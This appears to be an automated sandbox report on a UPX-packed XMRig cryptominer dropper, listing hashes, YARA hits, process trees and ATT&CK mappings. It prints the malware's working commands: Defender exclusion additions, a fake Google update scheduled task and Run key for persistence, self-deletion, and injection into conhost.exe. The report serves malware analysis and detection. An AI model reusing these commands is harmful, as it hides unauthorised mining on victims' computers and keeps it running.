xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
478s
max time network
1787s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
23-01-2024 19:27

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General

Target

grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

Processes:

3JynzWc6LxNCT2y8.exeupdater.execonhost.exe

description	pid	process	target process
PID 1992 created 1076	1992	3JynzWc6LxNCT2y8.exe	Explorer.EXE
PID 1992 created 1076	1992	3JynzWc6LxNCT2y8.exe	Explorer.EXE
PID 1992 created 1076	1992	3JynzWc6LxNCT2y8.exe	Explorer.EXE
PID 1992 created 1076	1992	3JynzWc6LxNCT2y8.exe	Explorer.EXE
PID 2764 created 1076	2764	updater.exe	Explorer.EXE
PID 2764 created 1076	2764	updater.exe	Explorer.EXE
PID 2764 created 1076	2764	updater.exe	Explorer.EXE
PID 2764 created 1076	2764	updater.exe	Explorer.EXE
PID 3036 created 1076	3036	conhost.exe	Explorer.EXE
PID 2764 created 1076	2764	updater.exe	Explorer.EXE

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

Processes:

resource	yara_rule
behavioral1/memory/1956-70-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1956-72-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1956-73-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1956-77-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1956-79-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1956-81-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1956-83-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1956-85-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1956-87-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1956-89-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1956-91-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1956-93-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1956-95-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1956-97-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1956-99-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1956-106-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1956-108-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1956-110-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1956-112-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1956-114-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1956-116-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1956-118-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1956-120-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1956-122-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1956-124-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1956-126-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1956-128-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1956-130-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1956-132-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1956-134-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

2672 cmd.exe
Executes dropped EXE 1 IoCs

Processes:

updater.exe

pid process

2764 updater.exe
Loads dropped DLL 1 IoCs

Processes:

taskeng.exe

pid process

3056 taskeng.exe

pid	process
2672	cmd.exe

pid	process
2764	updater.exe

pid	process
3056	taskeng.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral1/memory/1956-65-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1956-70-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1956-72-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1956-73-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1956-77-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1956-79-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1956-81-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1956-83-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1956-85-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1956-87-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1956-89-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1956-91-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1956-93-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1956-95-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1956-97-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1956-99-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1956-106-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1956-108-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1956-110-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1956-112-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1956-114-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1956-116-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1956-118-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1956-120-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1956-122-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1956-124-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1956-126-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1956-128-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1956-130-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1956-132-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1956-134-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

updater.exe

description	pid	process	target process
PID 2764 set thread context of 3036	2764	updater.exe	conhost.exe
PID 2764 set thread context of 1956	2764	updater.exe	conhost.exe

Drops file in Program Files directory 4 IoCs

Processes:

3JynzWc6LxNCT2y8.exeupdater.execmd.execmd.exe

description	ioc	process
File created	C:\Program Files\Google\Chrome\updater.exe	3JynzWc6LxNCT2y8.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exe

pid process

2924 schtasks.exe
852 schtasks.exe
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

WMIC.exe

pid process

2028 WMIC.exe

pid	process
2924	schtasks.exe
852	schtasks.exe

pid	process
2028	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

Processes:

powershell.exeWMIC.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = f0f43a80bf50da01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

Processes:

3JynzWc6LxNCT2y8.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exe

pid	process
1992	3JynzWc6LxNCT2y8.exe
1992	3JynzWc6LxNCT2y8.exe
2888	powershell.exe
1992	3JynzWc6LxNCT2y8.exe
1992	3JynzWc6LxNCT2y8.exe
2716	powershell.exe
1992	3JynzWc6LxNCT2y8.exe
1992	3JynzWc6LxNCT2y8.exe
1992	3JynzWc6LxNCT2y8.exe
1992	3JynzWc6LxNCT2y8.exe
2728	powershell.exe
2764	updater.exe
2764	updater.exe
2776	powershell.exe
2764	updater.exe
2764	updater.exe
2468	powershell.exe
2764	updater.exe
2764	updater.exe
2764	updater.exe
2764	updater.exe
3036	conhost.exe
3036	conhost.exe
2764	updater.exe
2764	updater.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exeupdater.exeWMIC.execonhost.exe

description	pid	process
Token: SeDebugPrivilege	2888	powershell.exe
Token: SeDebugPrivilege	2716	powershell.exe
Token: SeDebugPrivilege	2728	powershell.exe
Token: SeDebugPrivilege	2776	powershell.exe
Token: SeDebugPrivilege	2468	powershell.exe
Token: SeDebugPrivilege	2764	updater.exe
Token: SeAssignPrimaryTokenPrivilege	2028	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2028	WMIC.exe
Token: SeSecurityPrivilege	2028	WMIC.exe
Token: SeTakeOwnershipPrivilege	2028	WMIC.exe
Token: SeLoadDriverPrivilege	2028	WMIC.exe
Token: SeSystemtimePrivilege	2028	WMIC.exe
Token: SeBackupPrivilege	2028	WMIC.exe
Token: SeRestorePrivilege	2028	WMIC.exe
Token: SeShutdownPrivilege	2028	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2028	WMIC.exe
Token: SeUndockPrivilege	2028	WMIC.exe
Token: SeManageVolumePrivilege	2028	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	2028	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2028	WMIC.exe
Token: SeSecurityPrivilege	2028	WMIC.exe
Token: SeTakeOwnershipPrivilege	2028	WMIC.exe
Token: SeLoadDriverPrivilege	2028	WMIC.exe
Token: SeSystemtimePrivilege	2028	WMIC.exe
Token: SeBackupPrivilege	2028	WMIC.exe
Token: SeRestorePrivilege	2028	WMIC.exe
Token: SeShutdownPrivilege	2028	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2028	WMIC.exe
Token: SeUndockPrivilege	2028	WMIC.exe
Token: SeManageVolumePrivilege	2028	WMIC.exe
Token: SeLockMemoryPrivilege	1956	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

powershell.execmd.exepowershell.exetaskeng.exepowershell.exeupdater.execmd.exe

description	pid	process	target process
PID 2716 wrote to memory of 2924	2716	powershell.exe	schtasks.exe
PID 2716 wrote to memory of 2924	2716	powershell.exe	schtasks.exe
PID 2716 wrote to memory of 2924	2716	powershell.exe	schtasks.exe
PID 2672 wrote to memory of 2580	2672	cmd.exe	choice.exe
PID 2672 wrote to memory of 2580	2672	cmd.exe	choice.exe
PID 2672 wrote to memory of 2580	2672	cmd.exe	choice.exe
PID 2728 wrote to memory of 2340	2728	powershell.exe	schtasks.exe
PID 2728 wrote to memory of 2340	2728	powershell.exe	schtasks.exe
PID 2728 wrote to memory of 2340	2728	powershell.exe	schtasks.exe
PID 3056 wrote to memory of 2764	3056	taskeng.exe	updater.exe
PID 3056 wrote to memory of 2764	3056	taskeng.exe	updater.exe
PID 3056 wrote to memory of 2764	3056	taskeng.exe	updater.exe
PID 2468 wrote to memory of 852	2468	powershell.exe	schtasks.exe
PID 2468 wrote to memory of 852	2468	powershell.exe	schtasks.exe
PID 2468 wrote to memory of 852	2468	powershell.exe	schtasks.exe
PID 2764 wrote to memory of 3036	2764	updater.exe	conhost.exe
PID 2032 wrote to memory of 2028	2032	cmd.exe	WMIC.exe
PID 2032 wrote to memory of 2028	2032	cmd.exe	WMIC.exe
PID 2032 wrote to memory of 2028	2032	cmd.exe	WMIC.exe
PID 2764 wrote to memory of 1956	2764	updater.exe	conhost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe
"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:1992

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1076

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2888

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2716

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
3⤵
- Creates scheduled task(s)
PID:2924

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe"
2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2672

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2728

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2776

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2468

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
3⤵
- Creates scheduled task(s)
PID:852

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1956

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
PID:2040

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2032

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe qtdiqnkejoz
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:3036

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2580

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2764

C:\Windows\system32\taskeng.exe
taskeng.exe {C8AC5682-CDBB-42BA-AE0D-3D2BD4A95FA5} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3056

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
1⤵
PID:2340

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2028

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
128KB

MD5
d66af3e0131d22342f58003d43411c43

SHA1
9ed868123beec218e40108328faabf4941d87748

SHA256
7ee00747156af322bfad05abaf28932024861c79c9b574905a24e61a8bdf9cf0

SHA512
58faf1fda0ed21e5ea35d44659fc2353bd3940b89e4cf83ceacd5d42aacbfdc373cf9c8c21a858ba1321c7e601d6d9282a2ee19b5c7d75fb7a239b28c36f1f92

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
838KB

MD5
a97585e5bac770eed2ad1c2a4ffbac25

SHA1
0668531cfa3b6eba460494b68b5e61c7c2a384d2

SHA256
c272db6283b3fe14930a3f3c52b49291326412184d4290eab64d8b09ee3ec5e1

SHA512
1ba2126fe6aea65f849b7d4e9e8506f38bfff5ac3cb493731a00ca23387e49f72348f75aa91ce2cd2ea26c4d6144c3cf5e3f2a7cc3e041558c33c708404572bf

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\FKD1CAY0L8D8D2J6ZYJL.temp

Filesize
7KB

MD5
e3b0cadac81496fb9d21d5dc8b74d423

SHA1
891aeea496e32a8bd1e8612456da5ac3f7075b44

SHA256
f063e925d0ac3f4364d2ed5f6cb9606f0b55b29217a9da054f29ba98a713ded3

SHA512
ceb41cc111a254bc26d85b17597e737ee95fd1d5b06e8519b573413d594cbe39371d1f3a54b8510be1b6bb8e482e86e9cf442f54269f6f2b36ab03a44817c886

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
232KB

MD5
fef7af86ea41f9f1c080684cd0905fee

SHA1
1b268770eed50255960129493a393d42e1241197

SHA256
0ed4faa257a7c71b13556b70aa8c0b9b1e98ddc0f6909f648f261f116fa2179c

SHA512
76d8f810c279c6b5d6951abb373ced449866ae09d0cfd413e8c7ecd350fd7bb8b6e8e6f8da5c2e24f12b629830d4724497b759676394419b9289e4d88b78765c

Download Submit
memory/1956-95-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1956-87-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1956-122-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1956-120-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1956-126-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1956-118-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1956-116-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1956-114-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1956-112-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1956-110-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1956-108-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1956-106-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1956-99-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1956-134-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1956-97-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1956-128-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1956-93-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1956-91-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1956-89-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1956-124-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1956-85-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1956-130-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1956-132-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1956-83-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1956-81-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1956-79-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1956-77-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1956-75-0x00000000007E0000-0x0000000000800000-memory.dmp

Filesize
128KB

Download
memory/1956-74-0x0000000000800000-0x0000000000820000-memory.dmp

Filesize
128KB

Download
memory/1956-73-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1956-72-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1956-70-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1956-68-0x00000000007E0000-0x0000000000800000-memory.dmp

Filesize
128KB

Download
memory/1956-67-0x0000000000800000-0x0000000000820000-memory.dmp

Filesize
128KB

Download
memory/1956-65-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1956-66-0x00000000000B0000-0x00000000000D0000-memory.dmp

Filesize
128KB

Download
memory/1992-0-0x000000013F440000-0x000000013F651000-memory.dmp

Filesize
2.1MB

Download
memory/1992-27-0x000000013F440000-0x000000013F651000-memory.dmp

Filesize
2.1MB

Download
memory/2468-55-0x00000000015B0000-0x0000000001630000-memory.dmp

Filesize
512KB

Download
memory/2468-57-0x000007FEF5F10000-0x000007FEF68AD000-memory.dmp

Filesize
9.6MB

Download
memory/2468-51-0x000007FEF5F10000-0x000007FEF68AD000-memory.dmp

Filesize
9.6MB

Download
memory/2468-56-0x00000000015B0000-0x0000000001630000-memory.dmp

Filesize
512KB

Download
memory/2468-54-0x00000000015B0000-0x0000000001630000-memory.dmp

Filesize
512KB

Download
memory/2468-53-0x000007FEF5F10000-0x000007FEF68AD000-memory.dmp

Filesize
9.6MB

Download
memory/2468-52-0x00000000015B0000-0x0000000001630000-memory.dmp

Filesize
512KB

Download
memory/2716-20-0x0000000002650000-0x0000000002658000-memory.dmp

Filesize
32KB

Download
memory/2716-18-0x000000001B470000-0x000000001B752000-memory.dmp

Filesize
2.9MB

Download
memory/2716-21-0x0000000002910000-0x0000000002990000-memory.dmp

Filesize
512KB

Download
